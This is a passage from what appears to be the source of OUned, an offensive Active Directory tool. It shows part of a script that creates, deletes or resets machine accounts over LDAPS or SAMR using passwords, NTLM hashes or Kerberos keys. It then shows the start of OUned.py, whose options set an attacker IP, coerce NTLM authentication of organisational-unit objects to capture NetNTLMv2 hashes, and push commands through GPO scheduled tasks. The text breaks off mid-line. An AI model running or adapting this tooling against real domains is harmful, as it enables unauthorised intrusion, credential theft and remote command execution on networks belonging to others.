ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM) 163 | ldapConn.bind() 164 | 165 | except ldap3.core.exceptions.LDAPSocketOpenError: 166 | #try tlsv1 167 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1, ciphers='ALL:@SECLEVEL=0') 168 | ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls) 169 | if self.__doKerberos: 170 | ldapConn = ldap3.Connection(ldapServer) 171 | self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 172 | self.__aesKey, kdcHost=self.__kdcHost) 173 | elif self.__hashes is not None: 174 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM) 175 | ldapConn.bind() 176 | else: 177 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM) 178 | ldapConn.bind() 179 | 180 | 181 | 182 | if self.__noAdd or self.__delete: 183 | if not self.LDAPComputerExists(ldapConn, self.__computerName): 184 | raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN)) 185 | 186 | computer = self.LDAPGetComputer(ldapConn, self.__computerName) 187 | 188 | if self.__delete: 189 | res = ldapConn.delete(computer.entry_dn) 190 | message = "delete" 191 | else: 192 | res = ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]}) 193 | message = "set password for" 194 | 195 | 196 | if not res: 197 | if ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: 198 | raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) 199 | else: 200 | raise Exception(str(ldapConn.result)) 201 | else: 202 | if self.__noAdd: 203 | logging.info("Succesfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) 204 | else: 205 | logging.info("Succesfully deleted %s." % self.__computerName) 206 | 207 | else: 208 | if self.__computerName is not None: 209 | if self.LDAPComputerExists(ldapConn, self.__computerName): 210 | raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName) 211 | else: 212 | while True: 213 | self.__computerName = self.generateComputerName() 214 | if not self.LDAPComputerExists(ldapConn, self.__computerName): 215 | break 216 | 217 | 218 | computerHostname = self.__computerName[:-1] 219 | computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup)) 220 | 221 | # Default computer SPNs 222 | spns = [ 223 | 'HOST/%s' % computerHostname, 224 | 'HOST/%s.%s' % (computerHostname, self.__domain), 225 | 'LDAP/%s' % computerHostname, 226 | 'LDAP/%s.%s' % (computerHostname, self.__domain), 227 | 'RestrictedKrbHost/%s' % computerHostname, 228 | 'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain), 229 | ] 230 | ucd = { 231 | 'dnsHostName': '%s.%s' % (computerHostname, self.__domain), 232 | 'userAccountControl': 0x1000, 233 | 'servicePrincipalName': spns, 234 | 'sAMAccountName': self.__computerName, 235 | 'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le') 236 | } 237 | 238 | res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd) 239 | if not res: 240 | if ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM: 241 | error_code = int(ldapConn.result['message'].split(':')[0].strip(), 16) 242 | if error_code == 0x216D: 243 | raise Exception("User %s machine quota exceeded!" % self.__username) 244 | else: 245 | raise Exception(str(ldapConn.result)) 246 | elif ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS: 247 | raise Exception("User %s doesn't have right to create a machine account!" % self.__username) 248 | else: 249 | raise Exception(str(ldapConn.result)) 250 | else: 251 | logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) 252 | except Exception as e: 253 | if logging.getLogger().level == logging.DEBUG: 254 | import traceback 255 | traceback.print_exc() 256 | 257 | logging.critical(str(e)) 258 | 259 | 260 | def LDAPComputerExists(self, connection, computerName): 261 | connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) 262 | return len(connection.entries) ==1 263 | 264 | def LDAPGetComputer(self, connection, computerName): 265 | connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName) 266 | return connection.entries[0] 267 | 268 | def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, 269 | TGS=None, useCache=True): 270 | from pyasn1.codec.ber import encoder, decoder 271 | from pyasn1.type.univ import noValue 272 | """ 273 | logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. 274 | 275 | :param string user: username 276 | :param string password: password for the user 277 | :param string domain: domain where the account is valid for (required) 278 | :param string lmhash: LMHASH used to authenticate using hashes (password is not used) 279 | :param string nthash: NTHASH used to authenticate using hashes (password is not used) 280 | :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication 281 | :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) 282 | :param struct TGT: If there's a TGT available, send the structure here and it will be used 283 | :param struct TGS: same for TGS. See smb3.py for the format 284 | :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False 285 | 286 | :return: True, raises an Exception if error. 287 | """ 288 | 289 | if lmhash != '' or nthash != '': 290 | if len(lmhash) % 2: 291 | lmhash = '0' + lmhash 292 | if len(nthash) % 2: 293 | nthash = '0' + nthash 294 | try: # just in case they were converted already 295 | lmhash = unhexlify(lmhash) 296 | nthash = unhexlify(nthash) 297 | except TypeError: 298 | pass 299 | 300 | # Importing down here so pyasn1 is not required if kerberos is not used. 301 | from impacket.krb5.ccache import CCache 302 | from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set 303 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 304 | from impacket.krb5 import constants 305 | from impacket.krb5.types import Principal, KerberosTime, Ticket 306 | import datetime 307 | 308 | if TGT is not None or TGS is not None: 309 | useCache = False 310 | 311 | targetName = 'ldap/%s' % self.__target 312 | if useCache: 313 | domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName) 314 | 315 | # First of all, we need to get a TGT for the user 316 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 317 | if TGT is None: 318 | if TGS is None: 319 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, 320 | aesKey, kdcHost) 321 | else: 322 | tgt = TGT['KDC_REP'] 323 | cipher = TGT['cipher'] 324 | sessionKey = TGT['sessionKey'] 325 | 326 | if TGS is None: 327 | serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) 328 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, 329 | sessionKey) 330 | else: 331 | tgs = TGS['KDC_REP'] 332 | cipher = TGS['cipher'] 333 | sessionKey = TGS['sessionKey'] 334 | 335 | # Let's build a NegTokenInit with a Kerberos REQ_AP 336 | 337 | blob = SPNEGO_NegTokenInit() 338 | 339 | # Kerberos 340 | blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] 341 | 342 | # Let's extract the ticket from the TGS 343 | tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] 344 | ticket = Ticket() 345 | ticket.from_asn1(tgs['ticket']) 346 | 347 | # Now let's build the AP_REQ 348 | apReq = AP_REQ() 349 | apReq['pvno'] = 5 350 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 351 | 352 | opts = [] 353 | apReq['ap-options'] = constants.encodeFlags(opts) 354 | seq_set(apReq, 'ticket', ticket.to_asn1) 355 | 356 | authenticator = Authenticator() 357 | authenticator['authenticator-vno'] = 5 358 | authenticator['crealm'] = domain 359 | seq_set(authenticator, 'cname', userName.components_to_asn1) 360 | now = datetime.datetime.utcnow() 361 | 362 | authenticator['cusec'] = now.microsecond 363 | authenticator['ctime'] = KerberosTime.to_asn1(now) 364 | 365 | encodedAuthenticator = encoder.encode(authenticator) 366 | 367 | # Key Usage 11 368 | # AP-REQ Authenticator (includes application authenticator 369 | # subkey), encrypted with the application session key 370 | # (Section 5.5.1) 371 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) 372 | 373 | apReq['authenticator'] = noValue 374 | apReq['authenticator']['etype'] = cipher.enctype 375 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator 376 | 377 | blob['MechToken'] = encoder.encode(apReq) 378 | 379 | 380 | request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData()) 381 | 382 | # Done with the Kerberos saga, now let's get into LDAP 383 | # try to open connection if closed 384 | if connection.closed: 385 | connection.open(read_server_info=False) 386 | 387 | connection.sasl_in_progress = True 388 | response = connection.post_send_single_response(connection.send('bindRequest', request, None)) 389 | connection.sasl_in_progress = False 390 | if response[0]['result'] != 0: 391 | raise Exception(response) 392 | 393 | connection.bound = True 394 | 395 | return True 396 | 397 | def generateComputerName(self): 398 | return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$') 399 | 400 | def doSAMRAdd(self, rpctransport): 401 | dce = rpctransport.get_dce_rpc() 402 | servHandle = None 403 | domainHandle = None 404 | userHandle = None 405 | try: 406 | dce.connect() 407 | dce.bind(samr.MSRPC_UUID_SAMR) 408 | 409 | samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target, 410 | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN ) 411 | servHandle = samrConnectResponse['ServerHandle'] 412 | 413 | samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle) 414 | domains = samrEnumResponse['Buffer']['Buffer'] 415 | domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains)) 416 | 417 | if len(domainsWithoutBuiltin) > 1: 418 | domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains)) 419 | if len(domain) != 1: 420 | logging.critical("This server provides multiple domains and '%s' isn't one of them.", self.__domainNetbios) 421 | logging.critical("Available domain(s):") 422 | for domain in domains: 423 | logging.error(" * %s" % domain['Name']) 424 | logging.critical("Consider using -domain-netbios argument to specify which one you meant.") 425 | raise Exception() 426 | else: 427 | selectedDomain = domain[0]['Name'] 428 | else: 429 | selectedDomain = domainsWithoutBuiltin[0]['Name'] 430 | 431 | samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain) 432 | domainSID = samrLookupDomainResponse['DomainId'] 433 | 434 | if logging.getLogger().level == logging.DEBUG: 435 | logging.info("Opening domain %s..." % selectedDomain) 436 | samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID) 437 | domainHandle = samrOpenDomainResponse['DomainHandle'] 438 | 439 | 440 | if self.__noAdd or self.__delete: 441 | try: 442 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 443 | except samr.DCERPCSessionError as e: 444 | if e.error_code == 0xc0000073: 445 | raise Exception("Account %s not found in domain %s!" % (self.__computerName, selectedDomain)) 446 | else: 447 | raise 448 | 449 | userRID = checkForUser['RelativeIds']['Element'][0] 450 | if self.__delete: 451 | access = samr.DELETE 452 | message = "delete" 453 | else: 454 | access = samr.USER_FORCE_PASSWORD_CHANGE 455 | message = "set password for" 456 | try: 457 | openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID) 458 | userHandle = openUser['UserHandle'] 459 | except samr.DCERPCSessionError as e: 460 | if e.error_code == 0xc0000022: 461 | raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName)) 462 | else: 463 | raise 464 | else: 465 | if self.__computerName is not None: 466 | try: 467 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 468 | raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName) 469 | except samr.DCERPCSessionError as e: 470 | if e.error_code != 0xc0000073: 471 | raise 472 | else: 473 | foundUnused = False 474 | while not foundUnused: 475 | self.__computerName = self.generateComputerName() 476 | try: 477 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 478 | except samr.DCERPCSessionError as e: 479 | if e.error_code == 0xc0000073: 480 | foundUnused = True 481 | else: 482 | raise 483 | 484 | createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,) 485 | userHandle = createUser['UserHandle'] 486 | 487 | if self.__delete: 488 | samr.hSamrDeleteUser(dce, userHandle) 489 | logging.info("Successfully deleted %s." % self.__computerName) 490 | userHandle = None 491 | else: 492 | samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword) 493 | if self.__noAdd: 494 | logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword)) 495 | else: 496 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName]) 497 | userRID = checkForUser['RelativeIds']['Element'][0] 498 | openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID) 499 | userHandle = openUser['UserHandle'] 500 | req = samr.SAMPR_USER_INFO_BUFFER() 501 | req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation 502 | req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT 503 | samr.hSamrSetInformationUser2(dce, userHandle, req) 504 | logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword)) 505 | 506 | except Exception as e: 507 | if logging.getLogger().level == logging.DEBUG: 508 | import traceback 509 | traceback.print_exc() 510 | 511 | logging.critical(str(e)) 512 | finally: 513 | if userHandle is not None: 514 | samr.hSamrCloseHandle(dce, userHandle) 515 | if domainHandle is not None: 516 | samr.hSamrCloseHandle(dce, domainHandle) 517 | if servHandle is not None: 518 | samr.hSamrCloseHandle(dce, servHandle) 519 | dce.disconnect() 520 | 521 | def run(self): 522 | if self.__method == 'SAMR': 523 | self.run_samr() 524 | elif self.__method == 'LDAPS': 525 | self.run_ldaps() 526 | 527 | # Process command-line arguments. 528 | if __name__ == '__main__': 529 | # Init the example's logger theme 530 | logger.init() 531 | print((version.BANNER)) 532 | 533 | parser = argparse.ArgumentParser(add_help = True, description = "Adds a computer account to domain") 534 | 535 | if sys.version_info.major == 2 and sys.version_info.minor == 7 and sys.version_info.micro < 16: #workaround for https://bugs.python.org/issue11874 536 | parser.add_argument('account', action='store', help='[domain/]username[:password] Account used to authenticate to DC.') 537 | else: 538 | parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.') 539 | parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.') 540 | parser.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.' 541 | 'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.') 542 | parser.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer' 543 | 'If omitted, a random [A-Za-z0-9]{32} will be used.') 544 | parser.add_argument('-no-add', action='store_true', help='Don\'t add a computer, only set password on existing one.') 545 | parser.add_argument('-delete', action='store_true', help='Delete an existing computer.') 546 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 547 | 548 | group = parser.add_argument_group('LDAP') 549 | group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.' 550 | 'If ommited, the domain part (FQDN) ' 551 | 'specified in the account parameter will be used.') 552 | group.add_argument('-computer-group', action='store', metavar='CN=Computers,DC=test,DC=local', help='Group to which the account will be added.' 553 | 'If omitted, CN=Computers will be used,') 554 | 555 | group = parser.add_argument_group('authentication') 556 | 557 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 558 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 559 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 560 | '(KRB5CCNAME) based on account parameters. If valid credentials ' 561 | 'cannot be found, it will use the ones specified in the command ' 562 | 'line') 563 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 564 | '(128 or 256 bits)') 565 | group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. ' 566 | 'If ommited, the domain part (FQDN) ' 567 | 'specified in the account parameter will be used') 568 | group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. ' 569 | 'Useful if you can\'t translate the FQDN.' 570 | 'specified in the account parameter will be used') 571 | 572 | 573 | if len(sys.argv)==1: 574 | parser.print_help() 575 | sys.exit(1) 576 | 577 | options = parser.parse_args() 578 | 579 | if options.debug is True: 580 | logging.getLogger().setLevel(logging.DEBUG) 581 | # Print the Library's installation path 582 | logging.debug(version.getInstallationPath()) 583 | else: 584 | logging.getLogger().setLevel(logging.INFO) 585 | 586 | domain, username, password = parse_credentials(options.account) 587 | 588 | try: 589 | if domain is None or domain == '': 590 | logging.critical('Domain should be specified!') 591 | sys.exit(1) 592 | 593 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 594 | from getpass import getpass 595 | password = getpass("Password:") 596 | 597 | if options.aesKey is not None: 598 | options.k = True 599 | 600 | options.method = "LDAPS" 601 | options.port = 636 602 | 603 | 604 | executer = ADDCOMPUTER(username, password, domain, options) 605 | executer.run() 606 | except Exception as e: 607 | if logging.getLogger().level == logging.DEBUG: 608 | import traceback 609 | traceback.print_exc() 610 | print(str(e)) 611 | -------------------------------------------------------------------------------- /OUned.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import typer 4 | import socket 5 | import logging 6 | import traceback 7 | import configparser 8 | 9 | import _thread as thread 10 | import helpers.forwarder as forwarder 11 | 12 | from time import sleep 13 | from ldap3 import Server, Connection, NTLM, SUBTREE, BASE, ALL_ATTRIBUTES 14 | from impacket.ntlm import compute_lmhash, compute_nthash 15 | from typing_extensions import Annotated 16 | from helpers.smb_utils import get_smb_connection, download_initial_gpo, upload_directory_to_share, recursive_smb_delete 17 | from helpers.clean_utils import init_save_file, save_attribute_value, clean 18 | from helpers.ldap_utils import get_attribute, modify_attribute, ldap_check_credentials 19 | from helpers.scheduledtask_utils import write_scheduled_task 20 | from helpers.version_utils import update_GPT_version_number 21 | from helpers.ouned_smbserver import SimpleSMBServer 22 | 23 | from gpblib.parsing.validate import validate_modules 24 | from gpblib.utils.extension_names import generate_extension_names 25 | from gpblib.modules_configs import MODULES_CONFIG 26 | 27 | from conf import bcolors, OUTPUT_DIR 28 | 29 | 30 | def main( 31 | config: Annotated[str, typer.Option("--config", help="The configuration file for OUned")], 32 | skip_checks: Annotated[bool, typer.Option("--skip-checks", help="Do not perform the various checks related to the exploitation setup")] = False, 33 | just_coerce: Annotated[bool, typer.Option("--just-coerce", help="Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is specified, to a local SMB server that will print their NetNTLMv2 hashes")] = False, 34 | coerce_to: Annotated[str, typer.Option("--coerce-to", help="Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address")] = None, 35 | just_clean: Annotated[bool, typer.Option("--just-clean", help="This flag indicates that OUned should only perform cleaning actions from specified cleaning-file")] = False, 36 | cleaning_file: Annotated[str, typer.Option("--cleaning-file", help="The path to the cleaning file in case the --just-clean flag is used")] = None, 37 | verbose: Annotated[bool, typer.Option("--verbose", help="Enable verbose output")] = False 38 | ): 39 | if verbose is False: logging.basicConfig(format='%(message)s', level=logging.WARN) 40 | else: logging.basicConfig(format='%(message)s', level=logging.INFO) 41 | logger = logging.getLogger(__name__) 42 | 43 | 44 | ### ============================ ### 45 | ### Handling the just-clean case ### 46 | ### ============================ ### 47 | if just_clean is True: 48 | logger.warning(f"\n\n{bcolors.BOLD}=== ATTEMPTING TO CLEAN FROM SPECIFIED FILE AND EXITING ==={bcolors.ENDC}") 49 | options = configparser.ConfigParser() 50 | options.read(config) 51 | 52 | if "ldaps" in options["GENERAL"].keys() and options["GENERAL"]["ldaps"].lower() == "true": 53 | ldaps = True 54 | else: 55 | ldaps = False 56 | if "dc" in options["GENERAL"].keys() and options["GENERAL"]["dc"]: 57 | dc = options["GENERAL"]["dc"] 58 | else: 59 | dc = domain 60 | 61 | target_domain_ldap_session = None 62 | ldap_server_ldap_session = None 63 | if "username" in options["GENERAL"].keys() and options["GENERAL"]["username"]: 64 | username = options["GENERAL"]["username"] 65 | domain = options["GENERAL"]["domain"] 66 | if "password" in options["GENERAL"].keys() and options["GENERAL"]["password"]: 67 | password = options["GENERAL"]["password"] 68 | server = Server(f'ldaps://{dc}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{dc}:389', port = 389, use_ssl = False) 69 | target_domain_ldap_session = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True) 70 | elif "hash" in options["GENERAL"].keys() and options["GENERAL"]["hash"]: 71 | hash = options["GENERAL"]["hash"] 72 | server = Server(f'ldaps://{dc}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{dc}:389', port = 389, use_ssl = False) 73 | target_domain_ldap_session = Connection(server, user=f"{domain}\\{username}", password=hash, authentication=NTLM, auto_bind=True) 74 | 75 | if "ldap_username" in options["LDAP"].keys() and options["LDAP"]["ldap_username"] and "ldap_password" in options["LDAP"].keys() and options["LDAP"]["ldap_password"]: 76 | ldap_ip = options["LDAP"]["ldap_ip"] 77 | ldap_machine_name = options["LDAP"]["ldap_machine_name"] 78 | ldap_username = options["LDAP"]["ldap_username"] 79 | ldap_password = options["LDAP"]["ldap_password"] 80 | server = Server(f'ldap://{ldap_ip}:389', port = 389, use_ssl = False) 81 | ldap_server_ldap_session = Connection(server, user=f"{ldap_machine_name[:-1].lower()}.{domain}\\{ldap_username}", password=ldap_password, authentication=NTLM, auto_bind=True) 82 | 83 | clean(target_domain_ldap_session, ldap_server_ldap_session, cleaning_file) 84 | return 85 | 86 | ### ===================================== ### 87 | ### Performing arguments coherence checks ### 88 | ### ===================================== ### 89 | try: 90 | options = configparser.ConfigParser(interpolation=None) 91 | options.read(config) 92 | 93 | # These arguments are required - we can't perform the exploit without them 94 | required_options = {"GENERAL": ["domain", "containerDN", "username", "attacker_ip", "target_type"], 95 | "LDAP": ["ldap_ip", "ldap_username", "ldap_password", "gpo_id", "ldap_machine_name", "ldap_machine_password"], 96 | "SMB": ["smb_mode"]} 97 | for section in required_options.keys(): 98 | for option in required_options[section]: 99 | if option not in options[section].keys() or not options[section][option]: 100 | logger.error(f"{bcolors.FAIL}[!] The {section}>{option} option is required. It must be defined and non-empty in configuration file.") 101 | raise SystemExit 102 | 103 | # Assigning required options to variables 104 | domain = options["GENERAL"]["domain"] 105 | containerDN = options["GENERAL"]["containerDN"] 106 | username = options["GENERAL"]["username"] 107 | attacker_ip = options["GENERAL"]["attacker_ip"] 108 | target_type = options["GENERAL"]["target_type"].lower() 109 | ldap_ip = options["LDAP"]["ldap_ip"] 110 | ldap_username = options["LDAP"]["ldap_username"] 111 | ldap_password = options["LDAP"]["ldap_password"] 112 | gpo_id = options["LDAP"]["gpo_id"] 113 | ldap_machine_name = options["LDAP"]["ldap_machine_name"] 114 | ldap_machine_password = options["LDAP"]["ldap_machine_password"] 115 | smb_mode = options["SMB"]["smb_mode"].lower() 116 | 117 | # If a DC was specified, use it. Else, defaults to domain 118 | if "dc" in options["GENERAL"].keys() and options["GENERAL"]["dc"]: 119 | dc = options["GENERAL"]["dc"] 120 | else: 121 | dc = domain 122 | 123 | # These options should have specific accepted values 124 | if target_type != "computer" and target_type != "user": 125 | logger.error(f"{bcolors.FAIL}[!] The GENERAL>target_type option can only be 'user' or 'computer'.{bcolors.ENDC}") 126 | raise SystemExit 127 | if smb_mode != "embedded" and smb_mode != "forwarded": 128 | logger.error(f"{bcolors.FAIL}[!] The SMB>smb_mode option can only be 'embedded' or 'forwarded'.{bcolors.ENDC}") 129 | raise SystemExit 130 | 131 | # We should have at least a "password" or a "hash" option. If both are defined, the password will be used 132 | if "password" in options["GENERAL"].keys() and options["GENERAL"]["password"]: 133 | password = options["GENERAL"]["password"] 134 | hash = None 135 | elif "hash" in options["GENERAL"].keys() and options["GENERAL"]["hash"]: 136 | hash = options["GENERAL"]["hash"] 137 | else: 138 | logger.error(f"{bcolors.FAIL}[!] Need at least one of GENERAL>password / GENERAL/hash.{bcolors.ENDC}") 139 | raise SystemExit 140 | 141 | # We cannot have both a 'command' and a 'module' argument 142 | command = None 143 | module = None 144 | if "command" in options["GENERAL"].keys() and options["GENERAL"]["command"]: 145 | command = options["GENERAL"]["command"] 146 | if "module" in options["GENERAL"].keys() and options["GENERAL"]["module"]: 147 | module = options["GENERAL"]["module"] 148 | if command is not None and module is not None: 149 | logger.error(f"{bcolors.FAIL}[!] The GENERAL>command option and GENERAL>module option are mutually exclusive.{bcolors.ENDC}") 150 | raise SystemExit 151 | if command is None and module is None: 152 | logger.error(f"{bcolors.FAIL}[!] Need at least one of GENERAL>command or GENERAL>module.{bcolors.ENDC}") 153 | raise SystemExit 154 | 155 | 156 | # If LDAPS is equal to True, we will use LDAPS ; else, we use LDAP 157 | if "ldaps" in options["GENERAL"].keys() and options["GENERAL"]["ldaps"].lower() == "true": 158 | ldaps = True 159 | else: 160 | ldaps = False 161 | 162 | # If an LDAP hostname was defined, assign it ; else, initialize variable as None 163 | if "ldap_hostname" in options["LDAP"].keys() and options["LDAP"]["ldap_hostname"]: 164 | ldap_hostname = options["LDAP"]["ldap_hostname"] 165 | else: 166 | ldap_hostname = None 167 | 168 | # If the user provided a share name, we will use it ; otherwise, default to 'share' 169 | if "share_name" in options["SMB"].keys() and options["SMB"]["share_name"]: 170 | smb_share_name = options["SMB"]["share_name"] 171 | else: 172 | smb_share_name = 'share' 173 | 174 | # If the user wants the 'forwarded' SMB mode ... 175 | if smb_mode == 'forwarded': 176 | # ... we should have an SMB IP to forward to 177 | if "smb_ip" not in options["SMB"] or not options["SMB"]["smb_ip"]: 178 | logger.error(f"{bcolors.FAIL}[!] When using the SMB>smb_mode 'forwarded', you need to provide the SMB>smb_ip option.{bcolors.ENDC}") 179 | raise SystemExit 180 | else: 181 | smb_ip = options["SMB"]["smb_ip"] 182 | 183 | # ... We will take the smb_username and smb_password values if they exist, or default to LDAP username and password values 184 | if "smb_username" in options["SMB"].keys() and options["SMB"]["smb_username"]: 185 | smb_username = options["SMB"]["smb_username"] 186 | else: 187 | smb_username = ldap_username 188 | if "smb_password" in options["SMB"].keys() and options["SMB"]["smb_password"]: 189 | smb_password = options["SMB"]["smb_password"] 190 | else: 191 | smb_password = ldap_password 192 | 193 | # ... We should have an SMB machine account and its associated password 194 | if "smb_machine_name" not in options["SMB"] or not options["SMB"]["smb_machine_name"]: 195 | logger.error(f"{bcolors.FAIL}[!] When using the SMB>smb_mode 'forwarded', you need to provide the SMB>smb_machine_name option.{bcolors.ENDC}") 196 | raise SystemExit 197 | elif "smb_machine_password" not in options["SMB"] or not options["SMB"]["smb_machine_password"]: 198 | logger.error(f"{bcolors.FAIL}[!] When using the SMB>smb_mode 'forwarded', you need to provide the SMB>smb_machine_password option.{bcolors.ENDC}") 199 | raise SystemExit 200 | else: 201 | smb_machine_name = options["SMB"]["smb_machine_name"] 202 | smb_machine_password = options["SMB"]["smb_machine_password"] 203 | 204 | # If the target type is user and we are using smb embedded mode, display a warning 205 | if target_type == "user" and smb_mode == "embedded" and just_coerce is not True: 206 | confirmation = typer.prompt(f"{bcolors.WARNING}[?] You are trying to target user objects while using embedded SMB mode, which will not work. Do you still want to continue ? [yes/no] {bcolors.ENDC}") 207 | if confirmation.lower() != 'yes': 208 | raise SystemExit 209 | 210 | 211 | except SystemExit: 212 | sys.exit(1) 213 | except: 214 | logger.error(f"{bcolors.FAIL}[!] Unhandled exception while performing configuration options checks on file {config}. Is the file correctly formated ?{bcolors.ENDC}") 215 | traceback.print_exc() 216 | sys.exit(1) 217 | 218 | 219 | domain_dn = ",".join("DC={}".format(d) for d in domain.split(".")) 220 | computer_dn = "CN=Computers," + domain_dn 221 | ldap_domain = f"{ldap_machine_name[:-1].lower()}.{domain}" 222 | ldap_domain_dn = f"DC={ldap_machine_name[:-1]},{domain_dn}" 223 | 224 | if skip_checks is False: 225 | logger.warning(f"\n\n{bcolors.BOLD}=== PERFORMING VARIOUS SANITY CHECKS RELATED TO THE SETUP ==={bcolors.ENDC}") 226 | ### ==================================================== ### 227 | ### Verifying the existence of the LDAP computer account ### 228 | ### ==================================================== ### 229 | try: 230 | server = Server(f'ldaps://{dc}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{dc}:389', port = 389, use_ssl = False) 231 | check_session = Connection(server, user=f"{domain}\\{ldap_machine_name}", password=ldap_machine_password, authentication=NTLM, auto_bind=True) 232 | except: 233 | traceback.print_exc() 234 | logger.error(f"{bcolors.FAIL}[!] Could not authenticate with provided LDAP machine account {ldap_machine_name} on target domain. You may want to run the following command:{bcolors.ENDC}") 235 | logger.error(f"python3 addcomputer_with_spns.py -computer-name {ldap_machine_name} -computer-pass '{ldap_machine_password}' -method LDAPS '{domain}/{username}:{password}'") 236 | sys.exit(1) 237 | logger.warning(f"{bcolors.OKGREEN}[+] 